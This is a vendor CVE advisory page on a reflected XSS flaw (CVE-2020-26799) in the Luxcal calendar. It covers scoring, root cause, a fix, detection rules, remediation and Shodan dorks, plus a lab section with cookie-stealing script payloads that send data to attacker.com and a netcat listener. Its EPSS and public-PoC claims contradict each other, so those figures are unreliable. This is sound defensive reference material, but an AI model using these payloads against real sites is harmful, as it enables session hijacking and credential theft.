☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Luxcal logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2020-26799

CVE-2020-26799 Cross-Site Scripting in Luxcal
📅 PUBLISHED: 2025-07-21 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.81%
👁️
0.81% probability
20.2× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Netherlands License: Commercial
VULNERABLE: 4.5.2
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2020-26799 is a reflected cross-site scripting (XSS) vulnerability in Luxcal 4.5.2, an open-source calendar application. The flaw resides in index.php and allows an unauthenticated attacker to inject arbitrary JavaScript into the application’s response. When a victim clicks a crafted link, the injected script executes in their browser context, enabling theft of session cookies, credentials, or other sensitive data. The vulnerability has a CVSS v3.1 base score of 6.1 (Medium), with an EPSS probability of 0.0% (low exploitation likelihood). No official patch has been released, and no public exploit code or Nuclei template is available. The attack vector is network-based, requires user interaction, and impacts confidentiality and integrity.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector (AV): Network – exploitable remotely.
  • Attack Complexity (AC): Low – no special conditions required.
  • Privileges Required (PR): None – unauthenticated.
  • User Interaction (UI): Required – victim must click a malicious link.
  • Scope (S): Changed – injected script can affect other resources.
  • Confidentiality (C): Low – limited data exposure.
  • Integrity (I): Low – limited ability to modify content.
  • Availability (A): None – no denial-of-service impact.

Threat Level: Medium. The vulnerability is easy to exploit but requires user interaction. The lack of a patch and low EPSS score suggest limited active exploitation, but the risk remains for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a reflected XSS in Luxcal’s index.php script. The application fails to sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript in a query parameter (e.g., ?page=<script>alert(1)</script>). When the victim visits this URL, the server includes the unsanitized payload in the HTML output, causing the browser to execute the script.

Root Cause: Lack of output encoding or input validation for reflected parameters in index.php. The application likely uses $_GET or $_REQUEST directly without proper escaping.

Attack Flow:

  1. Attacker crafts a malicious URL: http://target/luxcal/index.php?page=<script>document.location='http://attacker.com/steal.php?c='+document.cookie</script>
  2. Attacker distributes the link via phishing email, social media, or other channels.
  3. Victim clicks the link while authenticated to Luxcal.
  4. The injected script executes, sending the victim’s session cookie to the attacker’s server.
  5. Attacker uses the stolen cookie to hijack the session.

Vulnerable vs. Patched Code

Vulnerable Code (Luxcal 4.5.2):

// index.php (simplified)
$page = $_GET['page'];
echo "<div class='content'>$page</div>";

Patched Code (Hypothetical Fix):

// index.php (patched)
$page = htmlspecialchars($_GET['page'], ENT_QUOTES, 'UTF-8');
echo "<div class='content'>$page</div>";

The fix uses htmlspecialchars() to encode HTML special characters, preventing script injection. Since no official patch exists, administrators must apply this or similar sanitization manually.

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Environment:

  • Target: Luxcal 4.5.2 running on Apache/PHP.
  • Attacker: Kali Linux with browser and netcat.

Exploit Steps:

  1. Identify a vulnerable parameter (e.g., page, cat, id).
  2. Craft a payload to steal cookies:
    http://target/luxcal/index.php?page=<script>new Image().src='http://attacker.com/steal.php?c='+document.cookie</script>
    
  3. Host a listener on attacker machine:
    nc -lvnp 80
    
  4. Send the malicious link to the victim.
  5. Capture the cookie in the listener output.

Proof-of-Concept (No public exploit code available):

<!-- Simple XSS test -->
<a href="http://target/luxcal/index.php?page=<script>alert('XSS')</script>">Click me</a>

Blue Team (Detection & Defense)

Detection:

  • Monitor web server logs for unusual query strings containing <script>, onerror, javascript:, or base64-encoded payloads.
  • Use WAF rules to block reflected XSS patterns.

Defense:

  • Apply input validation and output encoding (see Remediation).
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Use HTTP-only cookies to prevent JavaScript access to session tokens.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to index.php with query parameters containing <script>, %3Cscript%3E, or similar encoded HTML tags.
    • Outbound connections from victim to attacker-controlled IPs on common ports (80, 443, 8080).
  • File IOCs:
    • Modified index.php if attacker attempts persistent changes (unlikely for reflected XSS).
  • Log IOCs:
    • Web server access logs showing GET /luxcal/index.php?page=<script>... entries.
    • Browser console errors or CSP violation reports.

Detection Engineering

YARA Rule

rule CVE_2020_26799_XSS_Luxcal {
    meta:
        description = "Detects reflected XSS attempts against Luxcal 4.5.2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-26799"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script>/i
        $luxcal_path = /\/luxcal\/index\.php/i
    condition:
        $luxcal_path and $xss_payload
}

Sigma Rule

title: Reflected XSS Attempt Against Luxcal
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests to Luxcal index.php with potential XSS payloads
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - '<script'
            - '%3Cscript%3E'
            - 'onerror='
            - 'javascript:'
        cs-uri-stem|endswith: '/luxcal/index.php'
    condition: selection
falsepositives:
    - Legitimate use of HTML in query parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2020-26799 Luxcal Reflected XSS Attempt"; flow:to_server,established; content:"/luxcal/index.php"; http_uri; pcre:"/<script[^>]*>.*<\/script>/iU"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Apply Input Validation: Sanitize all user-supplied input in index.php using htmlspecialchars() or a similar function.
  2. Implement CSP: Add HTTP header Content-Security-Policy: default-src 'self'; script-src 'self' to block inline scripts.
  3. Use HTTP-Only Cookies: Set session cookies with HttpOnly and Secure flags to prevent JavaScript access.
  4. Upgrade: Monitor Luxcal for an official patch. If none is released, consider migrating to an alternative calendar solution.

Long-Term Fix:

  • Rewrite index.php to use a templating engine that auto-escapes output (e.g., Twig, Smarty).
  • Conduct a security audit of the entire application for similar flaws.

Workaround:

  • Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"Luxcal"
http.html:"Luxcal 4.5.2"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2020-26799/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.